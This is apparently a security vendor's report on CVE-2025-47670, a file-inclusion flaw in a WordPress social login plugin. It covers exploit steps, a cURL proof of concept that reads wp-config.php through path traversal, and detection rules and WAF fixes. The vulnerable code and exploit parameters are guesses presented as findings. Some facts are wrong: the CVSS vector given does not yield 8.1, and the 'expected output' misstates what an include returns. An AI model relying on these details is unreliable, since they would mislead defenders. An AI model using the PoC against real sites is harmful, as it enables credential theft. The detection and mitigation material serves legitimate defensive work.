CVE-2025-47670

Executive Summary

CVE-2025-47670 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the miniOrange WordPress Social Login and Register plugin (slug: miniorange-login-openid). The flaw stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The vulnerability affects all versions of the plugin up to and including 7.6.10. No official patch has been released at the time of analysis.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on millions of sites to provide social login functionality. The LFI occurs within the plugin's PHP code, not in the core WordPress or server software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 8.1 (High) – The high confidentiality impact and low attack complexity make this a severe threat for unpatched WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the plugin's file inclusion logic, likely within a function that dynamically constructs a file path based on user-supplied input (e.g., a page or action parameter). The code fails to sanitize or validate the filename, allowing path traversal sequences like ../ to escape the intended directory.

Example vulnerable code pattern:

$file = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'views/' . $file . '.php' );

An attacker can supply ../../../../wp-config to include the WordPress configuration file, revealing database credentials, salts, and authentication keys. The LFI can also be used to include log files, PHP session files, or other sensitive resources.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'views/' . $page . '.php' );

Patched Code (expected):

$page = sanitize_file_name( $_GET['page'] );
$allowed_pages = array( 'login', 'register', 'settings' );
if ( in_array( $page, $allowed_pages ) ) {
    include( plugin_dir_path( __FILE__ ) . 'views/' . $page . '.php' );
} else {
    wp_die( 'Invalid page.' );
}

The patch should implement strict whitelisting of allowed filenames and use WordPress's sanitize_file_name() function to remove path traversal characters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with miniorange-login-openid <= 7.6.10 installed and activated.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable parameter (likely page or action) in the plugin's URL.
2. Craft a request to include a sensitive file:

   GET /wp-admin/admin-ajax.php?action=miniorange-login-openid&page=../../../../wp-config HTTP/1.1
   Host: target.com
   

3. The server will return the contents of wp-config.php in the response.

Proof-of-Concept (PoC) using cURL:

curl -v "http://target.com/wp-admin/admin-ajax.php?action=miniorange-login-openid&page=../../../../wp-config"

Expected Output: The response body will contain the PHP source code of wp-config.php, including database credentials.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for requests containing ../ or ..%2f in parameters related to the plugin.
2. Look for unusual file paths in the page or action parameters.
3. Alert on any successful inclusion of sensitive files (e.g., wp-config.php, .htaccess).

Response Actions:

1. Immediately disable the plugin if no patch is available.
2. Rotate all database credentials and WordPress salts.
3. Review server logs for signs of data exfiltration.
4. Apply virtual patching via WAF rules (see Detection Engineering).

Indicators of Compromise (IOCs)

• URL Patterns:
  • ?action=miniorange-login-openid&page=../../../../wp-config
  • ?page=..%2f..%2f..%2f..%2fwp-config
• Log Entries:
  • HTTP 200 responses to requests containing ../ in the page parameter.
  • Requests to /wp-admin/admin-ajax.php with action=miniorange-login-openid.
• File System:
  • Unexpected inclusion of /etc/passwd, /wp-config.php, or other sensitive files in PHP error logs.

Detection Engineering

YARA Rule

rule CVE_2025_47670_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting miniorange-login-openid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47670"
    strings:
        $param1 = "miniorange-login-openid" nocase
        $param2 = "page=" nocase
        $traversal = "../" nocase
        $traversal_encoded = "%2e%2e%2f" nocase
    condition:
        all of ($param*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-47670 LFI Attempt on miniorange-login-openid
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in WordPress admin-ajax.php requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'action=miniorange-login-openid'
            - 'page=..'
            - 'page=%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47670 LFI Attempt on miniorange-login-openid"; flow:to_server,established; content:"action=miniorange-login-openid"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//iU"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the page parameter.
3. Rotate all secrets (database passwords, salts, API keys) if compromise is suspected.

Long-Term Fix:

• Apply the vendor's patch once available (monitor the WordPress plugin repository).
• If patching is not possible, consider replacing the plugin with an alternative social login solution.

Virtual Patching (WAF Rule Example):

# Nginx WAF rule to block LFI attempts
location ~* /wp-admin/admin-ajax\.php {
    if ($args ~* "page=.*\.\.") {
        return 403;
    }
}

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-47670